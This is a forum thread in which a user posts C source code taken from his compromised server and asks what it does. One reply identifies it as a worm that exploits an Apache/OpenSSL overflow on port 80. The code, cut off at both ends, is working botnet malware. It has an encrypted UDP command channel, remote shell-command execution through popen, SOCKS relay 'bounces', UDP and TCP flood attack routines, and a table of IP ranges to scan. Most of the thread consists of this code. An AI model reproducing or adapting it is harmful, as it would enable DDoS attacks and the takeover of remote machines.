                                        if (clients[n].ext5) {
                                                atcp_send(&amp;clients[n],clients[n].ext5,9);
                                                clients[n].ext2=SOCKS_REPLY;
                                        }
                                }
                        }
                        else if (clients[n].ext2 == SOCKS_REPLY &amp;&amp; clients[n].len != 0) {
                                struct add_rec rc;
                                memset((void*)&amp;rc,0,sizeof(struct add_rec));
                                l=atcp_recv(&amp;clients[n],buf,3000);
                                if (*buf == 0) clients[n].ext2=TCP_CONNECTED;
                                else {
                                        rc.h.tag=0x42;
                                        rc.h.seq=newseq();
                                        rc.h.id=clients[n].ext3;
                                        relayclient(clients[n].ext,(void*)&amp;rc,sizeof(struct add_rec));
                                        FREE(clients[n].ext);
                                        FREE(clients[n].ext5);
                                        atcp_close(&amp;clients[n]);
                                }
                        }
                        else if (clients[n].ext2 == TCP_CONNECTED &amp;&amp; clients[n].len != 0) {
                                struct data_rec rc;
                                memset((void*)&amp;rc,0,sizeof(struct data_rec));
                                l=atcp_recv(&amp;clients[n],buf+sizeof(struct data_rec),3000-sizeof(struct data_rec));
                                if (l == AUNKNOWN) {
                                        struct kill_rec rc;
                                        memset((void*)&amp;rc,0,sizeof(struct kill_rec));
                                        rc.h.tag=0x42;
                                        rc.h.seq=newseq();
                                        rc.h.id=clients[n].ext3;
                                        relayclient((struct ainst *)clients[n].ext,(void*)&amp;rc,sizeof(struct kill_rec));
                                        FREE(clients[n].ext);
                                        FREE(clients[n].ext5);
                                        atcp_close(&amp;clients[n]);
                                }
                                else {
                                        l=clients[n].len;
                                        rc.h.tag=0x41;
                                        rc.h.seq=newseq();
                                        rc.h.id=clients[n].ext3;
                                        rc.h.len=l;
                                        _encrypt(buf+sizeof(struct data_rec),l);
                                        memcpy(buf,(void*)&amp;rc,sizeof(struct data_rec));
                                        relayclient((struct ainst *)clients[n].ext,buf,l+sizeof(struct data_rec));
                                }
                        }
                }

                if (udpserver.len != 0) if (!audp_recv(&amp;udpserver,&amp;udpclient,buf,3000)) {
                        struct llheader *llrp, ll;
                        struct header *tmp;
                        in++;
                        if (udpserver.len < 0 || udpserver.len < sizeof(struct llheader)) continue;
                        buf+=sizeof(struct llheader);
                        udpserver.len-=sizeof(struct llheader);
                        llrp=(struct llheader *)(buf-sizeof(struct llheader));
                        tmp=(struct header *)buf;
                        if (llrp->;type == 0) {
                                memset((void*)&amp;ll,0,sizeof(struct llheader));
                                if (llrp->;checksum != in_cksum(buf,udpserver.len)) continue;
                                if (!usersa(llrp->;id)) addrsa(llrp->;id);
                                else continue;
                                ll.type=1;
                                ll.checksum=0;
                                ll.id=llrp->;id;
                                if (tmp->;tag != 0x26) audp_send(&amp;udpclient,(char*)&amp;ll,sizeof(struct llheader));
                        }
                        else if (llrp->;type == 1) {
                                delqueue(llrp->;id);
                                continue;
                        }
                        else continue;
                        if (udpserver.len >;= sizeof(struct header)) {
                                switch(tmp->;tag) {
                                        case 0x20: { // Info
                                                struct getinfo_rec *rp=(struct getinfo_rec *)buf;
                                                struct info_rec rc;
                                                if (udpserver.len < sizeof(struct getinfo_rec)) break;
                                                memset((void*)&amp;rc,0,sizeof(struct info_rec));
                                                rc.h.tag=0x47;
                                                rc.h.id=tmp->;id;
                                                rc.h.seq=newseq();
                                                rc.h.len=0;
#ifdef SCAN
                                                rc.a=a;
                                                rc.b=b;
                                                rc.c=c;
                                                rc.d=d;
#endif
                                                rc.ip=myip;
                                                rc.uptime=time(NULL)-uptime;
                                                rc.in=in;
                                                rc.out=out;
                                                rc.version=VERSION;
                                                rc.reqtime=rp->;time;
                                                rc.reqmtime=rp->;mtime;
                                                relayclient(&amp;udpclient,(char*)&amp;rc,sizeof(struct info_rec));
                                                } break;
                                        case 0x21: { // Open a bounce
                                                struct add_rec *sr=(struct add_rec *)buf;
                                                if (udpserver.len < sizeof(struct add_rec)) break;
                                                for (n=0;n<CLIENTS;n++) if (clients[n].sock == 0) {
                                                        char srv[256];
                                                        if (sr->;socks == 0) conv(srv,256,sr->;server);
                                                        else conv(srv,256,sr->;socks);
                                                        clients[n].ext2=TCP_PENDING;
                                                        clients[n].ext3=sr->;h.id;
                                                        clients[n].ext=(struct ainst*)malloc(sizeof(struct ainst));
                                                        if (clients[n].ext == NULL) {
                                                                clients[n].sock=0;
                                                                break;
                                                        }
                                                        memcpy((void*)clients[n].ext,(void*)&amp;udpclient,sizeof(struct ainst));
                                                        if (sr->;socks == 0) {
                                                                clients[n].ext5=NULL;
                                                                atcp_sync_connect(&amp;clients[n],srv,sr->;port);
                                                        }
                                                        else {
                                                                clients[n].ext5=(char*)malloc(9);
                                                                if (clients[n].ext5 == NULL) {
                                                                        clients[n].sock=0;
                                                                        break;
                                                                }
                                                                ((char*)clients[n].ext5)[0]=0x04;
                                                                ((char*)clients[n].ext5)[1]=0x01;
                                                                ((char*)clients[n].ext5)[2]=((char*)&amp;sr->;port)[1];
                                                                ((char*)clients[n].ext5)[3]=((char*)&amp;sr->;port)[0];
                                                                ((char*)clients[n].ext5)[4]=((char*)&amp;sr->;server)[0];
                                                                ((char*)clients[n].ext5)[5]=((char*)&amp;sr->;server)[1];
                                                                ((char*)clients[n].ext5)[6]=((char*)&amp;sr->;server)[2];
                                                                ((char*)clients[n].ext5)[7]=((char*)&amp;sr->;server)[3];
                                                                ((char*)clients[n].ext5)[8]=0x00;
                                                                atcp_sync_connect(&amp;clients[n],srv,1080);
                                                        }
                                                        if (sr->;bind) abind(&amp;clients[n],sr->;bind,0);
                                                        break;
                                                }
                                                } break;
                                        case 0x22: { // Close a bounce
                                                struct kill_rec *sr=(struct kill_rec *)buf;
                                                if (udpserver.len < sizeof(struct kill_rec)) break;
                                                for (n=0;n<CLIENTS;n++) if (clients[n].ext3 == sr->;h.id) {
                                                        FREE(clients[n].ext);
                                                        FREE(clients[n].ext5);
                                                        atcp_close(&amp;clients[n]);
                                                }
                                                } break;
                                        case 0x23: { // Send a message to a bounce
                                                struct data_rec *sr=(struct data_rec *)buf;
                                                if (udpserver.len < sizeof(struct data_rec)+sr->;h.len) break;
                                                for (n=0;n<CLIENTS;n++) if (clients[n].ext3 == sr->;h.id) {
                                                        _decrypt(buf+sizeof(struct data_rec),sr->;h.len);
                                                        atcp_send(&amp;clients[n],buf+sizeof(struct data_rec),sr->;h.len);
                                                }
                                                } break;
#ifndef LARGE_NET
                                        case 0x24: { // Run a command
                                                FILE *f;
                                                struct sh_rec *sr=(struct sh_rec *)buf;
                                                int id;
                                                if (udpserver.len < sizeof(struct sh_rec)+sr->;h.len || sr->;h.len >; 2999-sizeof(struct sh_rec)) break;
                                                id=sr->;h.id;
                                                (buf+sizeof(struct sh_rec))[sr->;h.len]=0;
                                                _decrypt(buf+sizeof(struct sh_rec),sr->;h.len);
                                                f=popen(buf+sizeof(struct sh_rec),"r");
                                                if (f != NULL) {
                                                        while(1) {
                                                                struct data_rec rc;
                                                                char *str;
                                                                unsigned long len;
                                                                memset(buf,0,3000);
                                                                fgets(buf,3000,f);
                                                                if (feof(f)) break;
                                                                len=strlen(buf);
                                                                memset((void*)&amp;rc,0,sizeof(struct data_rec));
                                                                rc.h.tag=0x41;
                                                                rc.h.seq=newseq();
                                                                rc.h.id=id;
                                                                rc.h.len=len;
                                                                _encrypt(buf,len);
                                                                str=(char*)malloc(sizeof(struct data_rec)+len);
                                                                if (str == NULL) break;
                                                                memcpy((void*)str,(void*)&amp;rc,sizeof(struct data_rec));
                                                                memcpy((void*)(str+sizeof(struct data_rec)),buf,len);
                                                                relayclient(&amp;udpclient,str,sizeof(struct data_rec)+len);
                                                                FREE(str);
                                                        }
                                                        pclose(f);
                                                }
                                                else senderror(&amp;udpclient,id,"Unable to execute command");
                                                } break;
#endif
                                        case 0x25: {
                                                } break;
                                        case 0x26: { // Route
                                                struct route_rec *rp=(struct route_rec *)buf;
                                                unsigned long i;
                                                if (udpserver.len < sizeof(struct route_rec)) break;
                                                if (!useseq(rp->;h.seq)) {
                                                        addseq(rp->;h.seq);
                                                        audp_send(&amp;udpclient,(char*)&amp;ll,sizeof(struct llheader));

                                                        if (rp->;sync == 1 &amp;&amp; rp->;links != numlinks) {
                                                                if (time(NULL)-synctime >; 60) {
                                                                        if (rp->;links >; numlinks) {
                                                                                memset((void*)&amp;initrec,0,sizeof(struct initsrv_rec));
                                                                                initrec.h.tag=0x72;
                                                                                initrec.h.len=0;
                                                                                initrec.h.id=0;
                                                                                relayclient(&amp;udpclient,(char*)&amp;initrec,sizeof(struct initsrv_rec));
                                                                        }
                                                                        else syncm(&amp;udpclient,0x71,0);
                                                                        synctime=time(NULL);
                                                                }
                                                        }
                                                        if (rp->;sync != 3) {
                                                                rp->;sync=1;
                                                                rp->;links=numlinks;
                                                        }

                                                        if (rp->;server == -1 || rp->;server == 0 || rp->;server == myip) relay(inet_addr("127.0.0.1"),buf+sizeof(struct route_rec),rp->;h.len-sizeof(struct route_rec));

                                                        if (rp->;server == -1 || rp->;server == 0) segment(2,buf,rp->;h.len);
                                                        else if (rp->;server != myip) {
                                                                if (rp->;hops == 0 || rp->;hops >; 16) relay(rp->;server,buf,rp->;h.len);
                                                                else {
                                                                        rp->;hops--;
                                                                        segment(2,buf,rp->;h.len);
                                                                }
                                                        }

                                                        for (i=LINKS;i>;0;i--) memcpy((struct route_table*)&amp;routes,(struct route_table*)&amp;routes[i-1],sizeof(struct route_table));
                                                        memset((struct route_table*)&amp;routes[0],0,sizeof(struct route_table));
                                                        routes[0].id=rp->;h.id;
                                                        routes[0].ip=udpclient.in.sin_addr.s_addr;
                                                        routes[0].port=htons(udpclient.in.sin_port);
                                                }
                                                } break;
                                        case 0x27: {
                                                } break;
                                        case 0x28: { // List
                                                struct list_rec *rp=(struct list_rec *)buf;
                                                if (udpserver.len < sizeof(struct list_rec)) break;
                                                syncm(&amp;udpclient,0x46,rp->;h.id);
                                                } break;
                                        case 0x29: { // Udp flood
                                                int flag=1,fd,i=0;
                                                char *str;
                                                struct sockaddr_in in;
                                                time_t start=time(NULL);
                                                struct udp_rec *rp=(struct udp_rec *)buf;
                                                if (udpserver.len < sizeof(struct udp_rec)) break;
                                                if (rp->;size >; 9216) {
                                                        senderror(&amp;udpclient,rp->;h.id,"Size must be less than or equal to 9216\n");
                                                        break;
                                                }
                                                if (!isreal(rp->;target)) {
                                                        senderror(&amp;udpclient,rp->;h.id,"Cannot packet local networks\n");
                                                        break;
                                                }
                                                if (waitforqueues()) break;
                                                str=(char*)malloc(rp->;size);
                                                if (str == NULL) break;
                                                for (i=0;i<rp->;size;i++) str=rand();
                                                memset((void*)&amp;in,0,sizeof(struct sockaddr_in));
                                                in.sin_addr.s_addr=rp->;target;
                                                in.sin_family=AF_INET;
                                                in.sin_port=htons(rp->;port);
                                                while(1) {
                                                        if (rp->;port == 0) in.sin_port = rand();
                                                        if ((fd = socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP)) < 0);
                                                        else {
                                                                flag = fcntl(fd, F_GETFL, 0);
                                                                flag |= O_NONBLOCK;
                                                                fcntl(fd, F_SETFL, flag);
                                                                sendto(fd,str,rp->;size,0,(struct sockaddr*)&amp;in,sizeof(in));
                                                                close(fd);
                                                        }
                                                        if (i >;= 50) {
                                                                if (time(NULL) >;= start+rp->;secs) exit(0);
                                                                i=0;
                                                        }
                                                        i++;
                                                }
                                                FREE(str);
                                                } exit(0);
                                        case 0x2A: { // Tcp flood
                                                int flag=1,fd,i=0;
                                                struct sockaddr_in in;
                                                time_t start=time(NULL);
                                                struct tcp_rec *rp=(struct tcp_rec *)buf;
                                                if (udpserver.len < sizeof(struct tcp_rec)) break;
                                                if (!isreal(rp->;target)) {
                                                        senderror(&amp;udpclient,rp->;h.id,"Cannot packet local networks\n");
                                                        break;
                                                }
                                                if (waitforqueues()) break;
                                                memset((void*)&amp;in,0,sizeof(struct sockaddr_in));
                                                in.sin_addr.s_addr=rp->;target;
                                                in.sin_family=AF_INET;
                                                in.sin_port=htons(rp->;port);
                                                while

论坛徽章:
0
2 [报告]
发表于 2003-02-26 19:57 |只看该作者

请大家帮我看看这个C语言代码,这是我机器上个月让人黑的代码?

有没有高手了

论坛徽章:
0
3 [报告]
发表于 2003-02-26 20:11 |只看该作者

请大家帮我看看这个C语言代码,这是我机器上个月让人黑的代码?

我教你一招:
下次贴源代码的时候用
[CODE]
……
[/CODE]

这种格式,否则空格缩进全都不见了,看上去就没胃口。

论坛徽章:
0
4 [报告]
发表于 2003-02-27 11:00 |只看该作者

请大家帮我看看这个C语言代码,这是我机器上个月让人黑的代码?

原帖由 "JohnBull" 发表:
我教你一招:
下次贴源代码的时候用
[CODE]
……
[/CODE]

这种格式,否则空格缩进全都不见了,看上去就没胃口。


你不知道就别说,你要想看,那个根本就不是问题

论坛徽章:
0
5 [报告]
发表于 2003-02-27 23:28 |只看该作者

请大家帮我看看这个C语言代码,这是我机器上个月让人黑的代码?

我反正看着就晕~!
怎么这么长啊?

论坛徽章:
0
6 [报告]
发表于 2003-02-27 23:30 |只看该作者

请大家帮我看看这个C语言代码,这是我机器上个月让人黑的代码?

等我改天再看吧

论坛徽章:
0
7 [报告]
发表于 2003-02-28 06:04 |只看该作者

请大家帮我看看这个C语言代码,这是我机器上个月让人黑的代码?

原帖由 "ljhn007" 发表:


你不知道就别说,你要想看,那个根本就不是问题


问问题之前应该先学会礼貌.
也应该学会怎样节省别人的时间,让自己的问题尽快解决.
不要用"有没有高手?","这里没有高手吗?"这类的话来激将别人,至少cloud很反感.

以上
siyeclover

论坛徽章:
1
荣誉版主
日期:2011-11-23 16:44:17
8 [报告]
发表于 2003-02-28 23:13 |只看该作者

请大家帮我看看这个C语言代码,这是我机器上个月让人黑的代码?

这象是一个蠕虫,扫描80端口,然后开一个1978端口的rootshell,是80端口的一个溢出漏洞,可能是我上次讲的利用apache的ssl模块的一个堆溢出问题,其实是openssl的问题,看程序它在构造chunk,没时间细看了:)

论坛徽章:
0
9 [报告]
发表于 2003-03-01 12:59 |只看该作者

请大家帮我看看这个C语言代码,这是我机器上个月让人黑的代码?

我重新贴一下, 会不会好呢?
  1. #include <stdio.h>;
  2. #include <unistd.h>;
  3. #include <string.h>;
  4. #include <fcntl.h>;
  5. #include <stdlib.h>;
  6. #include <stdarg.h>;
  7. #include <sys/ioctl.h>;
  8. #include <sys/types.h>;
  9. #include <sys/socket.h>;
  10. #include <netinet/in.h>;
  11. #include <sys/time.h>;
  12. #include <unistd.h>;
  13. #include <errno.h>;
  14. #include <netdb.h>;
  15. #include <arpa/telnet.h>;
  16. #include <sys/wait.h>;
  17. #include <signal.h>;

  18. #define SCAN
  19. #undef LARGE_NET
  20. #undef FREEBSD

  21. #define BROADCASTS 2
  22. #define LINKS 128
  23. #define CLIENTS 128
  24. #define PORT 1978
  25. #define SCANPORT 80
  26. #define SCANTIMEOUT 5
  27. #define MAXPATH 4096
  28. #define ESCANPORT 11978
  29. #define VERSION 18092002

  30. //////////////////////////////////////////////////////////////////////////////////////
  31. // Macros //
  32. //////////////////////////////////////////////////////////////////////////////////////

  33. #define FREE(x) {if (x) { free(x);x=NULL; }}

  34. enum { TCP_PENDING=1, TCP_CONNECTED=2, SOCKS_REPLY=3 };
  35. enum { ASUCCESS=0, ARESOLVE, ACONNECT, ASOCKET, ABIND, AINUSE, APENDING, AINSTANCE, AUNKNOWN };
  36. enum { AREAD=1, AWRITE=2, AEXCEPT=4 };

  37. //////////////////////////////////////////////////////////////////////////////////////
  38. // Packet headers //
  39. //////////////////////////////////////////////////////////////////////////////////////

  40. struct llheader {
  41. char type;
  42. unsigned long checksum;
  43. unsigned long id;
  44. };
  45. struct header {
  46. char tag;
  47. int id;
  48. unsigned long len;
  49. unsigned long seq;
  50. };
  51. struct route_rec {
  52. struct header h;
  53. char sync;
  54. unsigned char hops;
  55. unsigned long server;
  56. unsigned long links;
  57. };
  58. struct kill_rec {
  59. struct header h;
  60. };
  61. struct sh_rec {
  62. struct header h;
  63. };
  64. struct list_rec {
  65. struct header h;
  66. };
  67. struct udp_rec {
  68. struct header h;
  69. unsigned long size;
  70. unsigned long target;
  71. unsigned short port;
  72. unsigned long secs;
  73. };
  74. struct tcp_rec {
  75. struct header h;
  76. unsigned long target;
  77. unsigned short port;
  78. unsigned long secs;
  79. };
  80. struct tcp6_rec {
  81. struct header h;
  82. unsigned long target[4];
  83. unsigned short port;
  84. unsigned long secs;
  85. };
  86. struct gen_rec {
  87. struct header h;
  88. unsigned long target;
  89. unsigned short port;
  90. unsigned long secs;
  91. };
  92. struct df_rec {
  93. struct header h;
  94. unsigned long target;
  95. unsigned long secs;
  96. };
  97. struct add_rec {
  98. struct header h;
  99. unsigned long server;
  100. unsigned long socks;
  101. unsigned long bind;
  102. unsigned short port;
  103. };
  104. struct data_rec {
  105. struct header h;
  106. };
  107. struct addsrv_rec {
  108. struct header h;
  109. };
  110. struct initsrv_rec {
  111. struct header h;
  112. };
  113. struct qmyip_rec {
  114. struct header h;
  115. };
  116. struct myip_rec {
  117. struct header h;
  118. unsigned long ip;
  119. };
  120. struct escan_rec {
  121. struct header h;
  122. unsigned long ip;
  123. };
  124. struct getinfo_rec {
  125. struct header h;
  126. unsigned long time;
  127. unsigned long mtime;
  128. };
  129. struct info_rec {
  130. struct header h;
  131. unsigned char a;
  132. unsigned char b;
  133. unsigned char c;
  134. unsigned char d;
  135. unsigned long ip;
  136. unsigned long uptime;
  137. unsigned long reqtime;
  138. unsigned long reqmtime;
  139. unsigned long in;
  140. unsigned long out;
  141. unsigned long version;
  142. };

  143. //////////////////////////////////////////////////////////////////////////////////////
  144. // Public variables //
  145. //////////////////////////////////////////////////////////////////////////////////////

  146. struct ainst {
  147. void *ext,*ext5;
  148. int ext2,ext3,ext4;

  149. int sock,error;
  150. unsigned long len;
  151. struct sockaddr_in in;
  152. };
  153. struct ainst clients[CLIENTS*2];
  154. struct ainst udpclient;
  155. unsigned int sseed=0;
  156. struct route_table {
  157. int id;
  158. unsigned long ip;
  159. unsigned short port;
  160. } routes[LINKS];
  161. unsigned long numlinks, *links=NULL, myip=0;
  162. unsigned long sequence[LINKS], rsa[LINKS];
  163. unsigned int *pids=NULL;
  164. unsigned long numpids=0;
  165. unsigned long uptime=0, in=0, out=0;
  166. unsigned long synctime=0;
  167. int syncmodes=1;

  168. struct mqueue {
  169. char *packet;
  170. unsigned long len;
  171. unsigned long id;
  172. unsigned long time;
  173. unsigned long ltime;
  174. unsigned long destination;
  175. unsigned short port;
  176. unsigned char trys;
  177. struct mqueue *next;
  178. } *queues=NULL;

  179. #ifdef SCAN
  180. unsigned char classes[] = { 3, 4, 6, 8, 9, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 24, 25, 26, 28, 29, 30, 32, 33, 34, 35, 38, 40, 43, 44, 45,
  181. 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 61, 62, 63, 64, 65, 66, 67, 68, 80, 81, 128, 129, 130, 131, 132, 133, 134, 135, 136, 137, 138,
  182. 139, 140, 141, 142, 143, 144, 145, 146, 147, 148, 149, 150, 151, 152, 153, 154, 155, 156, 157, 158, 159, 160, 161, 162, 163, 164, 165, 166, 167,
  183. 168, 169, 170, 171, 172, 173, 174, 175, 176, 177, 178, 179, 180, 181, 182, 183, 184, 185, 186, 187, 188, 189, 190, 191, 192, 193, 194, 195, 196,
  184. 198, 199, 200, 201, 202, 203, 204, 205, 206, 207, 208, 209, 210, 211, 212, 213, 214, 215, 216, 217, 218, 219, 220, 224, 225, 226, 227, 228, 229,
  185. 230, 231, 232, 233, 234, 235, 236, 237, 238, 239 };
  186. #endif

  187. //////////////////////////////////////////////////////////////////////////////////////
  188. // Public routines //
  189. //////////////////////////////////////////////////////////////////////////////////////

  190. unsigned long gettimeout() {
  191. return 36+(numlinks/15);
  192. }

  193. void syncmode(int mode) {
  194. syncmodes=mode;
  195. }

  196. void gsrand(unsigned long s) {
  197. sseed=s;
  198. }
  199. unsigned long grand() {
  200. sseed=((sseed*965764979)%65535)/2;
  201. return sseed;
  202. }

  203. void nas(int a) {
  204. }

  205. int mfork() {
  206. unsigned int parent, *newpids, i;
  207. parent=fork();
  208. if (parent <= 0) return parent;
  209. numpids++;
  210. newpids=(unsigned int*)malloc((numpids+1)*sizeof(unsigned int));
  211. if (newpids == NULL) return parent;
  212. for (i=0;i<numpids-1;i++) newpids[i]=pids[i];
  213. newpids[numpids-1]=parent;
  214. FREE(pids);
  215. pids=newpids;
  216. return parent;
  217. }

  218. char *aerror(struct ainst *inst) {
  219. if (inst == NULL) return "Invalid instance or socket";
  220. switch(inst->;error) {
  221. case ASUCCESS:return "Operation Success";
  222. case ARESOLVE:return "Unable to resolve";
  223. case ACONNECT:return "Unable to connect";
  224. case ASOCKET:return "Unable to create socket";
  225. case ABIND:return "Unable to bind socket";
  226. case AINUSE:return "Port is in use";
  227. case APENDING:return "Operation pending";
  228. case AUNKNOWN:default:return "Unknown";
  229. }
  230. return "";
  231. }

  232. int aresolve(char *host) {
  233. struct hostent *hp;
  234. if (inet_addr(host) == 0 || inet_addr(host) == -1) {
  235. unsigned long a;
  236. if ((hp = gethostbyname(host)) == NULL) return 0;
  237. bcopy((char*)hp->;h_addr, (char*)&a, hp->;h_length);
  238. return a;
  239. }
  240. else return inet_addr(host);
  241. }

  242. int abind(struct ainst *inst,unsigned long ip,unsigned short port) {
  243. struct sockaddr_in in;
  244. if (inst == NULL) return (AINSTANCE);
  245. if (inst->;sock == 0) {
  246. inst->;error=AINSTANCE;
  247. return (AINSTANCE);
  248. }
  249. inst->;len=0;
  250. in.sin_family = AF_INET;
  251. if (ip == NULL) in.sin_addr.s_addr = INADDR_ANY;
  252. else in.sin_addr.s_addr = ip;
  253. in.sin_port = htons(port);
  254. if (bind(inst->;sock, (struct sockaddr *)&in, sizeof(in)) < 0) {
  255. inst->;error=ABIND;
  256. return (ABIND);
  257. }
  258. inst->;error=ASUCCESS;
  259. return ASUCCESS;
  260. }

  261. int await(struct ainst **inst,unsigned long len,char type,long secs) {
  262. struct timeval tm,*tmp;
  263. fd_set read,write,except,*readp,*writep,*exceptp;
  264. int p,ret,max;
  265. if (inst == NULL) return (AINSTANCE);
  266. for (p=0;p<len;p++) inst[p]->;len=0;
  267. if (secs >; 0) {
  268. tm.tv_sec=secs;
  269. tm.tv_usec=0;
  270. tmp=&tm;
  271. }
  272. else tmp=(struct timeval *)NULL;
  273. if (type & AREAD) {
  274. FD_ZERO(&read);
  275. for (p=0;p<len;p++) FD_SET(inst[p]->;sock,&read);
  276. readp=&read;
  277. }
  278. else readp=(struct fd_set*)0;
  279. if (type & AWRITE) {
  280. FD_ZERO(&write);
  281. for (p=0;p<len;p++) FD_SET(inst[p]->;sock,&write);
  282. writep=&write;
  283. }
  284. else writep=(struct fd_set*)0;
  285. if (type & AEXCEPT) {
  286. FD_ZERO(&except);
  287. for (p=0;p<len;p++) FD_SET(inst[p]->;sock,&except);
  288. exceptp=&except;
  289. }
  290. else exceptp=(struct fd_set*)0;
  291. for (p=0,max=0;p<len;p++) if (inst[p]->;sock >; max) max=inst[p]->;sock;
  292. if ((ret=select(max+1,readp,writep,exceptp,tmp)) == 0) {
  293. for (p=0;p<len;p++) inst[p]->;error=APENDING;
  294. return (APENDING);
  295. }
  296. if (ret == -1) return (AUNKNOWN);
  297. for (p=0;p<len;p++) {
  298. if (type & AREAD) if (FD_ISSET(inst[p]->;sock,&read)) inst[p]->;len+=AREAD;
  299. if (type & AWRITE) if (FD_ISSET(inst[p]->;sock,&write)) inst[p]->;len+=AWRITE;
  300. if (type & AEXCEPT) if (FD_ISSET(inst[p]->;sock,&except)) inst[p]->;len+=AEXCEPT;
  301. }
  302. for (p=0;p<len;p++) inst[p]->;error=ASUCCESS;
  303. return (ASUCCESS);
  304. }

  305. int atcp_sync_check(struct ainst *inst) {
  306. if (inst == NULL) return (AINSTANCE);
  307. inst->;len=0;
  308. errno=0;
  309. if (connect(inst->;sock, (struct sockaddr *)&inst->;in, sizeof(inst->;in)) == 0 || errno == EISCONN) {
  310. inst->;error=ASUCCESS;
  311. return (ASUCCESS);
  312. }
  313. if (!(errno == EINPROGRESS ||errno == EALREADY)) {
  314. inst->;error=ACONNECT;
  315. return (ACONNECT);
  316. }
  317. inst->;error=APENDING;
  318. return (APENDING);
  319. }

  320. int atcp_sync_connect(struct ainst *inst,char *host,unsigned int port) {
  321. int flag=1;
  322. struct hostent *hp;
  323. if (inst == NULL) return (AINSTANCE);
  324. inst->;len=0;
  325. if ((inst->;sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) {
  326. inst->;error=ASOCKET;
  327. return (ASOCKET);
  328. }
  329. if (inet_addr(host) == 0 || inet_addr(host) == -1) {
  330. if ((hp = gethostbyname(host)) == NULL) {
  331. inst->;error=ARESOLVE;
  332. return (ARESOLVE);
  333. }
  334. bcopy((char*)hp->;h_addr, (char*)&inst->;in.sin_addr, hp->;h_length);
  335. }
  336. else inst->;in.sin_addr.s_addr=inet_addr(host);
  337. inst->;in.sin_family = AF_INET;
  338. inst->;in.sin_port = htons(port);
  339. flag = fcntl(inst->;sock, F_GETFL, 0);
  340. flag |= O_NONBLOCK;
  341. fcntl(inst->;sock, F_SETFL, flag);
  342. inst->;error=ASUCCESS;
  343. return (ASUCCESS);
  344. }

  345. int atcp_connect(struct ainst *inst,char *host,unsigned int port) {
  346. int flag=1;
  347. unsigned long start;
  348. struct hostent *hp;
  349. if (inst == NULL) return (AINSTANCE);
  350. inst->;len=0;
  351. if ((inst->;sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) {
  352. inst->;error=ASOCKET;
  353. return (ASOCKET);
  354. }
  355. if (inet_addr(host) == 0 || inet_addr(host) == -1) {
  356. if ((hp = gethostbyname(host)) == NULL) {
  357. inst->;error=ARESOLVE;
  358. return (ARESOLVE);
  359. }
  360. bcopy((char*)hp->;h_addr, (char*)&inst->;in.sin_addr, hp->;h_length);
  361. }
  362. else inst->;in.sin_addr.s_addr=inet_addr(host);
  363. inst->;in.sin_family = AF_INET;
  364. inst->;in.sin_port = htons(port);
  365. flag = fcntl(inst->;sock, F_GETFL, 0);
  366. flag |= O_NONBLOCK;
  367. fcntl(inst->;sock, F_SETFL, flag);
  368. start=time(NULL);
  369. while(time(NULL)-start < 10) {
  370. errno=0;
  371. if (connect(inst->;sock, (struct sockaddr *)&inst->;in, sizeof(inst->;in)) == 0 || errno == EISCONN) {
  372. inst->;error=ASUCCESS;
  373. return (ASUCCESS);
  374. }
  375. if (!(errno == EINPROGRESS ||errno == EALREADY)) break;
  376. sleep(1);
  377. }
  378. inst->;error=ACONNECT;
  379. return (ACONNECT);
  380. }

  381. int atcp_accept(struct ainst *inst,struct ainst *child) {
  382. int sock;
  383. unsigned int datalen;
  384. if (inst == NULL || child == NULL) return (AINSTANCE);
  385. datalen=sizeof(child->;in);
  386. inst->;len=0;
  387. memcpy((void*)child,(void*)inst,sizeof(struct ainst));
  388. if ((sock=accept(inst->;sock,(struct sockaddr *)&child->;in,&datalen)) < 0) {
  389. memset((void*)child,0,sizeof(struct ainst));
  390. inst->;error=APENDING;
  391. return (APENDING);
  392. }
  393. child->;sock=sock;
  394. inst->;len=datalen;
  395. inst->;error=ASUCCESS;
  396. return (ASUCCESS);
  397. }

  398. int atcp_send(struct ainst *inst,char *buf,unsigned long len) {
  399. long datalen;
  400. if (inst == NULL) return (AINSTANCE);
  401. inst->;len=0;
  402. errno=0;
  403. if ((datalen=write(inst->;sock,buf,len)) < len) {
  404. if (errno == EAGAIN) {
  405. inst->;error=APENDING;
  406. return (APENDING);
  407. }
  408. else {
  409. inst->;error=AUNKNOWN;
  410. return (AUNKNOWN);
  411. }
  412. }
  413. inst->;len=datalen;
  414. inst->;error=ASUCCESS;
  415. return (ASUCCESS);
  416. }

  417. int atcp_sendmsg(struct ainst *inst, char *words, ...) {
  418. static char textBuffer[2048];
  419. unsigned int a;
  420. va_list args;
  421. va_start(args, words);
  422. a=vsprintf(textBuffer, words, args);
  423. va_end(args);
  424. return atcp_send(inst,textBuffer,a);
  425. }

  426. int atcp_recv(struct ainst *inst,char *buf,unsigned long len) {
  427. long datalen;
  428. if (inst == NULL) return (AINSTANCE);
  429. inst->;len=0;
  430. if ((datalen=read(inst->;sock,buf,len)) < 0) {
  431. if (errno == EAGAIN) {
  432. inst->;error=APENDING;
  433. return (APENDING);
  434. }
  435. else {
  436. inst->;error=AUNKNOWN;
  437. return (AUNKNOWN);
  438. }
  439. }
  440. if (datalen == 0 && len) {
  441. inst->;error=AUNKNOWN;
  442. return (AUNKNOWN);
  443. }
  444. inst->;len=datalen;
  445. inst->;error=ASUCCESS;
  446. return (ASUCCESS);
  447. }

  448. int atcp_close(struct ainst *inst) {
  449. if (inst == NULL) return (AINSTANCE);
  450. inst->;len=0;
  451. if (close(inst->;sock) < 0) {
  452. inst->;error=AUNKNOWN;
  453. return (AUNKNOWN);
  454. }
  455. inst->;sock=0;
  456. inst->;error=ASUCCESS;
  457. return (ASUCCESS);
  458. }

  459. int audp_listen(struct ainst *inst,unsigned int port) {
  460. int flag=1;
  461. if (inst == NULL) return (AINSTANCE);
  462. inst->;len=0;
  463. if ((inst->;sock = socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP)) < 0) {
  464. inst->;error=ASOCKET;
  465. return (ASOCKET);
  466. }
  467. inst->;in.sin_family = AF_INET;
  468. inst->;in.sin_addr.s_addr = INADDR_ANY;
  469. inst->;in.sin_port = htons(port);
  470. if (bind(inst->;sock, (struct sockaddr *)&inst->;in, sizeof(inst->;in)) < 0) {
  471. inst->;error=ABIND;
  472. return (ABIND);
  473. }
  474. #ifdef O_DIRECT
  475. flag = fcntl(inst->;sock, F_GETFL, 0);
  476. flag |= O_DIRECT;
